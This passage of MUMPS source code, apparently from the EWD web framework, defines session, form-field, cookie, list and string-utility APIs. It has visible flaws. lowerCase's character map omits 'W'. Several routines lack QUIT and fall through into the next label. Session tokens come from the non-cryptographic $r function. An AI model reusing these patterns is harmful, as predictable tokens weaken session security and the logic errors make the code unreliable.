name=prefix\n f  s name=$o(^%zewdSession(\"session\",sessid,name)) q:name=\"\"  q:$e(name,1,len)'=prefix  d\n . i name?1A.AN m @name=^%zewdSession(\"session\",sessid,name)\n QUIT\n ;\ngetSessionValuesByPrefixErr\n set $zt=\"\"\n QUIT\n ;\nsetNVArray(name,nvArray,sessid)\n n selected,value,no\n s nvArray(name)=$$getSessionValue(name,sessid)\n QUIT\n ;\nclearSessionByPrefix(prefix,sessid)\n d clearSessionByPrefix^%zewdCompiler20($g(prefix),$g(sessid))\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\n ; HTML Form-specific APIs\n ;\ngetTextValue(fieldName,sessid)\n QUIT $$getSessionValue(fieldName,sessid)\n ;\nsetTextValue(fieldName,value,sessid)\n d setSessionValue(fieldName,value,sessid)\n QUIT\n ;\ngetPasswordValue(fieldName,sessid)\n QUIT $$getSessionValue(fieldName,sessid)\n ;\ngetHiddenValue(fieldName,sessid)\n QUIT $$getSessionValue(fieldName,sessid)\n ;\nsetHiddenValue(fieldName,value,sessid)\n d setSessionValue(fieldName,value,sessid)\n ;\ngetRadioValue(fieldName,sessid)\n QUIT $$getSessionValue(fieldName,sessid)\n ;\nsetRadioOn(fieldName,value,sessid)\n d setSessionValue(fieldName,value,sessid)\n QUIT\n ;\nisRadionOn(fieldName,value,sessid)\n QUIT $$getRadioValue(fieldName,sessid)=value\n ;\nisCheckboxOn(fieldName,value,sessid)\n QUIT $$isSelected(fieldName,value,sessid)\n ;\ngetCheckboxValues(fieldName,selectedValueArray,sessid)\n d mergeFromSelected(fieldName,.selectedValueArray,sessid)\n QUIT\n ;\ninitialiseCheckbox(fieldName,sessid)\n d clearSelected(fieldName,sessid)\n QUIT\n ;\nsetCheckboxOn(fieldName,value,sessid)\n d addToSelected(fieldName,value,sessid)\n QUIT\n ;\nsetCheckboxOff(fieldName,value,sessid)\n d removeFromSelected(fieldName,value,sessid)\n ;\nsetCheckboxValues(fieldName,selectedValueArray,sessid)\n ;\n ; array format : array(checkboxValue)=checkboxValue\n ; eg selected(\"red\")=\"red\"\n ;\n d mergeToSelected(fieldName,.selectedValueArray,sessid)\n QUIT\n ;\ngetSelectValue(fieldName,sessid,nullify)\n ;\n n value\n ;\n s value=$$getSessionValue(fieldName,sessid)\n i $a(value)=160 s value=\"\"\n QUIT value\n ;\nsetSelectValue(fieldName,value,sessid)\n d setSessionValue(fieldName,value,sessid)\n ;\nisSelectOn(fieldName,value,sessid)\n QUIT $$getSelectValue(fieldName,sessid)=value\n ;\nisMultipleSelectOn(fieldName,value,sessid)\n QUIT $$isSelected(fieldName,value,sessid)\n ;\ngetMultipleSelectValues(fieldName,selectedValueArray,sessid)\n n value\n d mergeFromSelected(fieldName,.selectedValueArray,sessid)\n s value=$$getSessionValue^%zewdAPI(fieldName,sessid)\n i value'=\"\" s selectedValueArray(value)=value\n QUIT\n ;\ninitialiseMultipleSelect(fieldName,sessid)\n d clearSelected(fieldName,sessid)\n QUIT\n ;\nsetMultipleSelectOn(fieldName,value,sessid)\n d addToSelected(fieldName,value,sessid)\n QUIT\n ;\nsetMultipleSelectOff(fieldName,value,sessid)\n d removeFromSelected(fieldName,value,sessid)\n ;\nsetMultipleSelectValues(fieldName,selectedValueArray,sessid)\n ;\n ; array format : array(checkboxValue)=checkboxValue\n ; eg selected(\"red\")=\"red\"\n ;\n d mergeToSelected(fieldName,.selectedValueArray,sessid)\n QUIT\n ;\ngetTextArea(fieldName,textArray,sessid)\n d mergeFromTextArea(fieldName,.textArray,sessid)\n QUIT\n ;\nsetFieldError(fieldName,sessid)\n ;\n n errors\n s errors(fieldName)=$$getSessionValue(\"ewd_errorClass\",sessid)\n d mergeArrayToSession^%zewdAPI(.errors,\"ewd_errorFields\",sessid)\n d setSessionValue^%zewdAPI(\"ewd_hasErrors\",1,sessid)\n QUIT\n ;\nsetErrorClasses()\n QUIT $$setErrorClasses^%zewdUtilities()\n ;\ngetRequestValue(fieldName,sessid)\n n value,zt\n i $g(fieldName)=\"\" QUIT \"\"\n s value=$g(requestArray(fieldName))\n QUIT value\n ;\nmergeGlobalFromRequest(globalName,fieldName,sessid)\n d mergeGlobalFromRequest^%zewdCompiler13($g(globalName),$g(fieldName),$g(sessid))\n QUIT\n ;\nmergeFromRequest(array,fieldName,sessid)\n QUIT:fieldName=\"\"\n m array=requestArray(fieldName)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ncopyRequestValueToSession(fieldName,sessid)\n ;\n QUIT:$g(sessid)=\"\"\n QUIT:$g(fieldName)=\"\"\n i $$isTemp(fieldName) m zewdSession(fieldName)=requestArray(fieldName)\n m ^%zewdSession(\"session\",sessid,fieldName)=requestArray(fieldName)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ngetCookieValue(cookieName,sessid)\n QUIT:$g(cookieName)=\"\"\n set $zt=\"getCookieValueErr\"\n QUIT $g(requestArray(cookieName))\n ;\ngetCookieValueErr ; --- Come here if error occurred in 'getCookieValue' ---\n set $zt=\"\"\n QUIT \"\"\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ndeleteCookie(cookieName,sessid)\n d setCookieValue(cookieName,\"\",-3600,sessid)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nenableGetPage(page,sessid)\n d enableGetPage^%zewdCompiler24($g(page),$g(sessid))\n QUIT\n ;\ndisableGetPage(page,sessid)\n d disableGetPage^%zewdCompiler24($g(page),$g(sessid))\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nconvertDaysToSeconds(days)\n QUIT days*86400\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nparseHTMLFile(filepath,docName)\n QUIT $$parseHTMLFile^%zewdCompiler16($g(filepath),$g(docName))\n ;\nparseXMLFile(filepath,docName)\n QUIT $$parseXMLFile^%zewdCompiler16($g(filepath),$g(docName))\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nparseStream(streamName,docName,error,isHTML)\n d parseStream^%zewdCompiler16($g(streamName),$g(docName),.error,$g(isHTML))\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nparseHTMLStream(streamName,docName)\n QUIT $$parseHTMLStream^%zewdCompiler16($g(streamName),$g(docName))\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nparseURL(server,getPath,docName,port,isHTML,responseTime,browserType,post,maxLineLength,headers)\n ;\n QUIT $$parseURL^%zewdHTMLParser($g(server),$g(getPath),$g(docName),$g(port),$g(isHTML),.responseTime,$g(browserType),$g(post),$g(maxLineLength),.headers)\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nsetCookieValue(cookieName,value,expiryDuration,sessid)\n ;\n ; expiryDuration is no of seconds\n ;\n n expires\n s expires=expiryDuration\n i $$isCSP(sessid) d\n . s expires=$$convertDateToSeconds($h)+expires\n . s expires=$$convertSecondsToDate(expires)\n . s expires=$$inetDate(expires)\n s value=value_$c(1)_expires\n d setSessionArray(\"ewd_cookie\",cookieName,value,sessid)\n ;\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nsetResponseHeader(headerName,headerValue,sessid)\n d setSessionArray^%zewdAPI(\"ewd_header\",$g(headerName),$g(headerValue),$g(sessid))\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nsuppressResponseHeader(headerName,sessid)\n i $$isCSP(sessid) d setResponseHeader(headerName,\"\",sessid)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\naddServerToSession(sessid,serverArray)\n d addServerToSession^%zewdCompiler13($g(sessid),.serverArray)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ngetServerValue(serverFieldName,sessid)\n ;\n n value,zt\n ;\n i $g(serverFieldName)=\"\" QUIT \"\"\n ;\n QUIT $g(serverArray(serverFieldName))\n ;\ngetServerValueErr ; --- Come here if error occurred in 'getServerValue' ---\n set $zt=zt\n QUIT \"\"\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ndeleteWarning(sessid)\n QUIT:$g(sessid)=\"\"\n d deleteFromSession(\"ewd_warning\",sessid)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nsetWarning(warningMessage,sessid)\n QUIT:$g(sessid)=\"\"\n QUIT:$g(warningMessage)=\"\"\n s warningMessage=$$systemMessage(warningMessage,\"warning\",sessid)\n i '$$isCSP(sessid) s warningMessage=$$zcvt(warningMessage,\"o\",\"JS\")\n d setSessionValue(\"ewd_warning\",warningMessage,sessid)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nclearAllSelected(sessid)\n k ^%zewdSession(\"session\",sessid,\"ewd_selected\")\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nclearSelected(fieldName,sessid)\n QUIT:$g(fieldName)=\"\"\n QUIT:$g(sessid)=\"\"\n s fieldName=$tr(fieldName,\".\",\"_\")\n k ^%zewdSession(\"session\",sessid,\"ewd_selected\",fieldName)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\naddToSelected(fieldName,fieldValue,sessid)\n ;\n n shortFieldValue\n QUIT:$g(fieldName)=\"\"\n QUIT:$g(sessid)=\"\"\n QUIT:$g(fieldValue)=\"\"\n s fieldName=$tr(fieldName,\".\",\"_\")\n s shortFieldValue=$e(fieldValue,1,200)\n s ^%zewdSession(\"session\",sessid,\"ewd_selected\",fieldName,shortFieldValue)=fieldValue\n QUIT\n ;\nremoveFromSelected(fieldName,fieldValue,sessid)\n ;\n n shortFieldValue\n QUIT:$g(fieldName)=\"\"\n QUIT:$g(sessid)=\"\"\n QUIT:$g(fieldValue)=\"\"\n s fieldName=$tr(fieldName,\".\",\"_\")\n s shortFieldValue=$e(fieldValue,1,200)\n k ^%zewdSession(\"session\",sessid,\"ewd_selected\",fieldName,shortFieldValue)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nmergeFromSelected(fieldName,selected,sessid)\n ;\n k selected\n s fieldName=$tr(fieldName,\".\",\"_\")\n m selected=^%zewdSession(\"session\",sessid,\"ewd_selected\",fieldName)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nmergeToSelected(fieldName,selected,sessid)\n ;\n s fieldName=$tr(fieldName,\".\",\"_\")\n ;\n k ^%zewdSession(\"session\",sessid,\"ewd_selected\",fieldName)\n m ^%zewdSession(\"session\",sessid,\"ewd_selected\",fieldName)=selected\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nisSelected(fieldName,fieldValue,sessid)\n n shortFieldValue\n i $g(fieldName)=\"\" QUIT 0\n i $g(sessid)=\"\" QUIT 0\n i $g(fieldValue)=\"\" QUIT 0\n s fieldName=$tr(fieldName,\".\",\"_\")\n set $zt=\"isSelectedErr\"\n s shortFieldValue=$e(fieldValue,1,200)\n QUIT $d(^%zewdSession(\"session\",sessid,\"ewd_selected\",fieldName,shortFieldValue))\n ;\nisSelectedErr ; --- Come here if error occurred in 'isSelected' ---\n set $zt=\"\"\n QUIT 0\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nclearTextArea(fieldName,sessid)\n QUIT:$g(fieldName)=\"\"\n QUIT:$g(sessid)=\"\"\n s fieldName=$tr(fieldName,\".\",\"_\")\n k ^%zewdSession(\"session\",sessid,\"ewd_textarea\",fieldName)\n s ^%zewdSession(\"session\",sessid,\"ewd_textarea\",fieldName,1)=\"\"\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ncreateTextArea(fieldName,textArray,sessid)\n ;\n QUIT:$g(fieldName)=\"\"\n QUIT:$g(sessid)=\"\"\n s fieldName=$tr(fieldName,\".\",\"_\")\n m ^%zewdSession(\"session\",sessid,\"ewd_textarea\",fieldName)=textArray\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nmergeTextAreaFromRequest(fieldName,requestArray,sessid)\n ;\n q:$g(sessid)=\"\"\n s fieldName=$tr(fieldName,\".\",\"_\")\n ;\n q:'$d(^%zewdSession(\"session\",sessid,\"ewd_textarea\",fieldName))\n d clearTextArea(fieldName,sessid)\n m ^%zewdSession(\"session\",sessid,\"ewd_textarea\",fieldName)=requestArray(fieldName)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nappendToTextArea(fieldName,lineOfText,sessid)\n ;\n n position\n ;\n QUIT:$g(fieldName)=\"\"\n QUIT:$g(sessid)=\"\"\n s fieldName=$tr(fieldName,\".\",\"_\")\n ;\n s position=$o(^%zewdSession(\"session\",sessid,\"ewd_textarea\",fieldName,\"\"),-1)+1\n s ^%zewdSession(\"session\",sessid,\"ewd_textarea\",fieldName,position)=lineOfText \n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nmergeFromTextArea(fieldName,textArray,sessid)\n ;\n s fieldName=$tr(fieldName,\".\",\"_\")\n m textArray=^%zewdSession(\"session\",sessid,\"ewd_textarea\",fieldName)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nmergeToTextArea(fieldName,textArray,sessid)\n ;\n s fieldName=$tr(fieldName,\".\",\"_\")\n m ^%zewdSession(\"session\",sessid,\"ewd_textarea\",fieldName)=textArray\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nclearList(listName,sessid)\n QUIT:$g(listName)=\"\"\n QUIT:$g(sessid)=\"\"\n s listName=$tr(listName,\".\",\"_\")\n k ^%zewdSession(\"session\",sessid,\"ewd_list\",listName)\n k ^%zewdSession(\"session\",sessid,\"ewd_listIndex\",listName)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nisListDefined(listName,sessid)\n QUIT $d(^%zewdSession(\"session\",sessid,\"ewd_list\",listName))\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ncountList(listName,sessid)\n QUIT $$countList^%zewdCompiler16($g(listName),$g(sessid))\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nappendToList(listName,textValue,codeValue,sessid,otherAttrs)\n ;\n n position\n ;\n QUIT:$g(listName)=\"\"\n QUIT:$g(sessid)=\"\"\n ;QUIT:$g(textValue)=\"\"\n ;QUIT:$g(codeValue)=\"\"\n s listName=$tr(listName,\".\",\"_\")\n ;\n s position=$o(^%zewdSession(\"session\",sessid,\"ewd_list\",listName,\"\"),-1)+1\n d addToList(listName,textValue,codeValue,position,sessid,.otherAttrs)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\naddToList(listName,textValue,codeValue,position,sessid,otherAttrs)\n ;d addToList^%zewdCompiler16($g(listName),$g(textValue),$g(codeValue),$g(position),$g(sessid),.otherAttrs)\n ;\n n attrList,attrName\n ;\n QUIT:$g(listName)=\"\"\n QUIT:$g(sessid)=\"\"\n QUIT:$g(position)=\"\"\n i $g(codeValue)=\"\",$g(textValue)=\"\" QUIT\n s position=+position\n d removeFromList(listName,codeValue,sessid) ; just in case\n s attrName=\"\",attrList=\"\"\n f  s attrName=$o(otherAttrs(attrName)) q:attrName=\"\"  d\n . s attrList=attrList_attrName_$c(3)_otherAttrs(attrName)_$c(1)\n ;\n s codeValue=$g(codeValue) i codeValue=\"\" s codeValue=textValue\n s ^%zewdSession(\"session\",sessid,\"ewd_list\",listName,position)=textValue_$c(1)_codeValue_$c(1)_attrList\n s ^%zewdSession(\"session\",sessid,\"ewd_listIndex\",listName,codeValue)=position\n k otherAttrs\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nmergeToList(listName,listArray,sessid)\n ;\n d mergeToList^%zewdCompiler7(listName,.listArray,sessid)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nremoveFromList(listName,codeValue,sessid)\n d removeFromList^%zewdCompiler20($g(listName),$g(codeValue),$g(sessid))\n QUIT\n ;\ncopyList(fromListName,toListName,sessid)\n d copyList^%zewdCompiler7($g(fromListName),$g(toListName),$g(sessid))\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ngetTextFromList(listName,codeValue,sessid)\n ;\n QUIT $$getTextFromList^%zewdCompiler7(listName,codeValue,sessid)\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nreplaceOptionsByFieldName(formName,fieldName,listName,sessid)\n ;\n QUIT $$replaceOptionsByFieldName^%zewdCompiler7(formName,fieldName,listName,sessid)\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\nreplaceOptionsByID(fieldID,listName,sessid)\n ;\n QUIT $$replaceOptionsByID^%zewdCompiler7(fieldID,listName,sessid)\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ngetUploadedFileName(fieldName,sessid)\n QUIT $$getUploadedFileName^%zewdCompiler20($g(fieldName),$g(sessid))\n ;\ngetUploadedFileSize(fieldName,sessid)\n QUIT $$getUploadedFileSize^%zewdCompiler20($g(fieldName),$g(sessid))\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ngetUploadedFileType(fieldName,sessid)\n ;\n set $zt=\"getUploadedFileTypeErr\"\n QUIT 0\n ;\ngetUploadedFileTypeErr\n set $zt=\"\"\n QUIT \"\"\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nerrorOccurred(sessid)\n ;\n n warning\n ;\n i $g(Error)=\"\" QUIT 0\n s warning=$$getSessionValue(\"ewd_warning\",sessid)\n QUIT Error'=warning\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nremoveQuotes(string)\n ;\n n quoted,c1,quote\n s quote=\"\"\n s c1=$e(string,1)\n s quoted=0\n i c1=\"\"\"\"!(c1=\"'\") s quoted=1,quote=c1\n i 'quoted QUIT string\n i $e(string,$l(string))'=quote QUIT string\n QUIT $e(string,2,$l(string)-1)\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nescapeQuotes(text)\n ;\n s text=$$replaceAll(text,\"'\",$c(4))\n s text=$$replaceAll(text,$c(4),\"\\'\")\n s text=$$replaceAll(text,\"\"\"\",$c(4))\n s text=$$replaceAll(text,$c(4),\"\\\"\"\")\n ;\n QUIT text\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ngetAttrValue(attrName,attrValues,technology)\n QUIT $$getAttrValue^%zewdCompiler4(attrName,.attrValues,technology)\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nreplaceAll(InText,FromStr,ToStr) ; Replace all occurrences of a substring\n ;\n n %p\n ;\n s %p=InText\n i ToStr[FromStr d  QUIT %p\n . n i,stop,tempText,tempTo\n . s stop=0\n . f i=0:1:255 d  q:stop\n . . q:InText[$c(i)\n . . q:FromStr[$c(i)\n . . q:ToStr[$c(i)\n . . s stop=1\n . s tempTo=$c(i)\n . s tempText=$$replaceAll(InText,FromStr,tempTo)\n . s %p=$$replaceAll(tempText,tempTo,ToStr)\n f  q:%p'[FromStr  S %p=$$replace(%p,FromStr,ToStr)\n QUIT %p\n ;\nreplace(InText,FromStr,ToStr) ; replace old with new in string\n ;\n n %np,%p1,%p2\n ;\n i InText'[FromStr q InText\n s %np=$l(InText,FromStr)+1\n s %p1=$p(InText,FromStr,1),%p2=$p(InText,FromStr,2,%np)\n QUIT %p1_ToStr_%p2\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\naddImmediateOneOffTask(executeCode,startTime,namespace,rc,rm)\n QUIT $$addImmediateOneOffTask^%zewdScheduler($g(executeCode),$g(startTime),$g(namespace),.rc,.rm)\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ngetDataTypeErrors(errorArray,sessid)\n k errorArray\n d mergeArrayFromSession(.errorArray,\"ewd_DataTypeError\",sessid)\n QUIT\n ;\nclearSchemaFormErrors(sessid)\n d deleteFromSession(\"ewd_SchemaFormError\",sessid)\n QUIT\n ;\ngetSchemaFormErrors(errorArray,sessid)\n QUIT $$getSchemaFormErrors^%zewdCompiler13(.errorArray,$g(sessid))\n ;\nsetSchemaFormErrors(errorArray,sessid)\n ;\n n sessionName\n ;\n s sessionName=\"ewd_SchemaFormError\"\n d deleteFromSession(sessionName,sessid)\n d mergeArrayToSession(.errorArray,sessionName,sessid)\n QUIT\n ;\nremoveInstanceDocument(instanceName)\n ;\n n ok\n s ok=$$openDOM\n i ok'=\"\" QUIT ok \n s ok=$$removeDocument^%zewdDOM(instanceName,\"\",\"\")\n d clearXMLIndex^%zewdSchemaForm(instanceName)\n s ok=$$closeDOM^%zewdDOM()\n QUIT \"\"\n ;\n ;\nmakeTokenString(length)\n ;\n n string,token,i\n ;\n s string=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890\"\n s token=\"\"\n f i=1:1:length s token=token_$e(string,($r($l(string))+1))\n QUIT token\n ;\nmakeString(%char,%len) ; create a string of len characters\n ;\n n %str\n ;\n s %str=\"\",$p(%str,%char,%len+1)=\"\"\n QUIT %str\n ;\nconvertDateToSeconds(hdate)\n ;\n Q (hdate*86400)+$p(hdate,\",\",2)\n ;\nconvertSecondsToDate(secs)\n ;\n QUIT (secs\\86400)_\",\"_(secs#86400)\n ;\ngetTokenExpiry(token)\n ;\n n sessid\n ;\n i $g(token)=\"\" QUIT 0\n s sessid=$p($g(^%zewdSession(\"tokens\",token)),\"~\",1)\n i sessid=\"\" QUIT 0\n QUIT $$getSessionValue(\"ewd_sessionExpiry\",sessid)\n ;\nisTokenExpired(token)\n ;\n ;QUIT $$getTokenExpiry(token)'>$$convertDateToSeconds($h)\n QUIT $$getTokenExpiry(token)'>(($h*86400)+$p($h,\",\",2))\n ;\nrandChar()\n ;\n n string\n ;\n s string=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890\"\n QUIT $e(string,($R($l(string))+1))\n ;\nlowerCase(string)\n QUIT $tr(string,\"ABCDEFGHIJKLMNOPQRSTUVQXYZ\",\"abcdefghijklmnopqrstuvwxyz\")\n ;\nstripSpaces(string)\n s string=$$stripLeadingSpaces(string)\n QUIT $$stripTrailingSpaces(string)\n ;\nstripLeadingSpaces(string)\n n i\n ;\n f i=1:1:$l(string) QUIT:$e(string,i)'=\" \"\n QUIT $e(string,i,$l(string))\n ;\nstripTrailingSpaces(string)\n n i,spaces,new\n ;\n s spaces=$$makeString(\" \",100)\n s new=string_spaces\n QUIT $p(new,spaces,1)\n ;\nparseMethod(methodString,class,method)\n ;\n n %p1,%p2,meth\n ;\n s %p1=$p(methodString,\"##class(\",2)\n s class=$p(%p1,\")\",1)\n s %p2=$p(%p1,\")\",2,500)\n s method=$p(%p2,\".\",2)\n s method=$p(method,\"(\",1)\n QUIT\n ;\nevent(requestArray)\n QUIT $$event^%zewdPHP(.requestArray)\n ;\nclearURLNVP(urlNo)\n ;\n QUIT\n ;\nsetURLNVP(urlNo,name)\n ;\n QUIT\n ;\ndecodeDataType(name,dataType,sessid)\n d decodeDataType^%zewdCompiler20($g(name),$g(dataType),$g(sessid))\n QUIT\n ;\nencodeDataType(name,dataType,sessid)\n QUIT $$encodeDataType^%zewdCompiler13($g(name),$g(dataType),$g(sessid))\n ;\ncopyURLNVPsToSession(urlNo)\n ;\n n name\n ;\n QUIT\n ;\ndoubleQuotes(string)\n ;\n s string=$$replaceAll(string,\"\"\"\",$c(1,1))\n s string=$tr(string,$c(1),\"\"\"\")\n QUIT string\n ;\n ;  ==========================================================================\n ;     Error Trap Functions\n ;  ==========================================================================\n ;\ncopySessionToSymbolTable(sessid)\n d copySessionToSymbolTable^%zewdCompiler16($g(sessid))\n QUIT\n ;\nsaveSymbolTable(sessid)\n ;\n n ok\n ;s sessid=0\n k ^%zewdError(sessid)\n n %zzv\n k ^%zewdError(sessid)\n s %zzv=\"%\"\n f  s %zzv=$o(@%zzv) Q:%zzv=\"\"  m ^%zewdError(sessid,%zzv)=@%zzv\n QUIT\n ;\nloadErrorSymbols(sessid)\n d loadErrorSymbols^%zewdCompiler19($g(sessid))\n QUIT\n ;\ndeleteErrorLog(sessid)\n k ^%zewdError(sessid)\n QUIT\n ;\ndeleteAllErrorLogs\n k ^%zewdError\n QUIT\n 